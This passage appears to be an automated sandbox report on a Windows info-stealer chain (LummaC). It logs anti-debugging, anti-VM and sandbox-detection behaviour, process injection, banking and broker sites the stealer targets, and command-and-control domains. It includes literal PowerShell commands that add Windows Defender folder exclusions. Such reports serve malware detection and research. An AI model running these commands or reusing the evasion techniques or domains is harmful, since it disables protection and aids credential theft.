Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7EC62 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 21FDA5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7EB80 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 2AAD05 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 2CEC62 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 46FDA5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 2CEB80 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 4FAD05 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Special instruction interceptor: First address: E5B954 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Special instruction interceptor: First address: FFEA33 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Special instruction interceptor: First address: 1014674 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Special instruction interceptor: First address: 108EAB4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Special instruction interceptor: First address: 1782C1A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Special instruction interceptor: First address: 178AA0C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Special instruction interceptor: First address: 15CFCAB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Special instruction interceptor: First address: 180EBA5 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Memory allocated: 2C70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Memory allocated: 2E80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Memory allocated: 4E80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Memory allocated: 1340000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Memory allocated: 2DC0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Memory allocated: 1340000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04F20D7F rdtsc

0_2_04F20D7F

Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7074
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1783
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6339
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3419

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7764	Thread sleep count: 52 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7764	Thread sleep time: -104052s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7752	Thread sleep count: 270 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7752	Thread sleep time: -8100000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7780	Thread sleep count: 46 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7780	Thread sleep time: -92046s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7788	Thread sleep count: 56 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7788	Thread sleep time: -112056s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7772	Thread sleep count: 56 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7772	Thread sleep time: -112056s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7752	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe TID: 7964	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe TID: 7980	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe TID: 8036	Thread sleep time: -150000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe TID: 8144	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe TID: 8164	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe TID: 8168	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe TID: 8156	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe TID: 6948	Thread sleep time: -120000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe TID: 6340	Thread sleep time: -120000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe TID: 6340	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe TID: 3228	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe TID: 3228	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6968	Thread sleep count: 7074 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5688	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1264	Thread sleep count: 1783 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7428	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7388	Thread sleep count: 6339 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7388	Thread sleep count: 3419 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -1844674407370954s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: skotes.exe, skotes.exe, 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmp, cf4412d54a.exe, 00000009.00000002.3286974905.0000000000FE3000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: skotes.exe, 00000006.00000002.3289661143.0000000001008000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW)PV
Source: e0c841723d.exe, 0000000D.00000003.3232876219.00000000042F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: cf4412d54a.exe, 00000009.00000003.3004893900.0000000006D51000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Y\MACHINE\SYSTEM\ControlSet001\Services\VBoxSFlI%
Source: e0c841723d.exe, 0000000D.00000003.3232876219.00000000042F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: e0c841723d.exe, 0000000D.00000003.3232876219.00000000042F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: e0c841723d.exe, 0000000D.00000003.3232876219.00000000042F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: e0c841723d.exe, 0000000D.00000003.3232876219.00000000042F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: e0c841723d.exe, 0000000D.00000003.3232876219.00000000042F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: e0c841723d.exe, 0000000D.00000003.3232876219.00000000042F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: skotes.exe, 00000006.00000002.3289661143.0000000000FC9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3289661143.0000000001008000.00000004.00000020.00020000.00000000.sdmp, 915c60055b.exe, 00000008.00000002.3039038639.0000000001239000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.00000000014CC000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000003.3145070089.0000000001517000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001517000.00000004.00000020.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000002.3286335779.00000000013BB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 631c5638f7.exe, 00000015.00000003.3277800685.00000000070B0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\recent_filesprocessesuptime_minutesC:\Windows\System32\VBox.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: e0c841723d.exe, 0000000D.00000003.3232876219.00000000042F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: e0c841723d.exe, 0000000D.00000003.3232876219.00000000042F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: e0c841723d.exe, 0000000D.00000003.3232876219.00000000042F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: e0c841723d.exe, 0000000D.00000003.3232876219.00000000042F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: e0c841723d.exe, 0000000D.00000003.3232876219.00000000042F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: e0c841723d.exe, 0000000D.00000003.3232876219.00000000042F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: e0c841723d.exe, 0000000D.00000003.3232876219.00000000042F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: e0c841723d.exe, 0000000D.00000003.3232876219.00000000042F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: e0c841723d.exe, 0000000D.00000003.3232876219.00000000042F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: e0c841723d.exe, 0000000D.00000003.3232876219.00000000042F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: e0c841723d.exe, 0000000D.00000003.3232876219.00000000042F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: e0c841723d.exe, 0000000D.00000003.3232876219.00000000042F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: e0c841723d.exe, 0000000D.00000003.3232876219.00000000042F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 915c60055b.exe, 00000008.00000002.3039038639.00000000011FD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWPA$
Source: 631c5638f7.exe, 00000015.00000003.3277800685.00000000070B0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: e0c841723d.exe, 0000000D.00000003.3232876219.00000000042F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: e0c841723d.exe, 0000000D.00000003.3232876219.00000000042F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: e0c841723d.exe, 0000000D.00000003.3232876219.00000000042F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: e0c841723d.exe, 0000000D.00000003.3232876219.00000000042F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: e0c841723d.exe, 0000000D.00000003.3232876219.00000000042F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: e0c841723d.exe, 0000000D.00000003.3232876219.00000000042F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: e0c841723d.exe, 0000000D.00000003.3232876219.00000000042F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: cf4412d54a.exe, 00000009.00000003.3001775532.0000000001B52000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll1
Source: e0c841723d.exe, 0000000D.00000003.3232876219.00000000042F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: e0c841723d.exe, 0000000D.00000003.3232876219.00000000042F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: e0c841723d.exe, 0000000D.00000003.3232876219.00000000042F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: e0c841723d.exe, 0000000D.00000003.3232876219.00000000042F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2089066821.0000000000203000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2119543419.0000000000453000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000002.2118288271.0000000000453000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmp, cf4412d54a.exe, 00000009.00000002.3286974905.0000000000FE3000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: e0c841723d.exe, 0000000D.00000002.3286335779.0000000001387000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: e0c841723d.exe, 0000000D.00000003.3232876219.00000000042F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: 915c60055b.exe, 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe.6.dr	Binary or memory string: F7hGfsX1sRaIfeD1h5f
Source: e0c841723d.exe, 0000000D.00000003.3232876219.00000000042F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_04F104F1 Start: 04F10528 End: 04F104BE

6_2_04F104F1

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04F20D7F rdtsc

0_2_04F20D7F

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0004652B mov eax, dword ptr fs:[00000030h]	0_2_0004652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0004A302 mov eax, dword ptr fs:[00000030h]	0_2_0004A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0029A302 mov eax, dword ptr fs:[00000030h]	2_2_0029A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0029652B mov eax, dword ptr fs:[00000030h]	2_2_0029652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_0029A302 mov eax, dword ptr fs:[00000030h]	3_2_0029A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_0029652B mov eax, dword ptr fs:[00000030h]	3_2_0029652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0029A302 mov eax, dword ptr fs:[00000030h]	6_2_0029A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0029652B mov eax, dword ptr fs:[00000030h]	6_2_0029652B

Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ibrmuebu"
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ibrmuebu"
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe

Memory written: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: 915c60055b.exe, 00000007.00000002.2843797316.0000000002E81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: 915c60055b.exe, 00000007.00000002.2843797316.0000000002E81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: 915c60055b.exe, 00000007.00000002.2843797316.0000000002E81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: 915c60055b.exe, 00000007.00000002.2843797316.0000000002E81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: 915c60055b.exe, 00000007.00000002.2843797316.0000000002E81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: 915c60055b.exe, 00000007.00000002.2843797316.0000000002E81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: 915c60055b.exe, 00000007.00000002.2843797316.0000000002E81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: 915c60055b.exe, 00000007.00000002.2843797316.0000000002E81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: 915c60055b.exe, 00000007.00000002.2843797316.0000000002E81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: lossekniyyt.click
Source: f3c1a61157.exe, 0000000A.00000002.3061491355.000000000314A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: debonairnukk.xyz
Source: f3c1a61157.exe, 0000000A.00000002.3061491355.000000000314A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: diffuculttan.xyz
Source: f3c1a61157.exe, 0000000A.00000002.3061491355.000000000314A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: effecterectz.xyz
Source: f3c1a61157.exe, 0000000A.00000002.3061491355.000000000314A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: deafeninggeh.biz
Source: f3c1a61157.exe, 0000000A.00000002.3061491355.000000000314A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: immureprech.biz
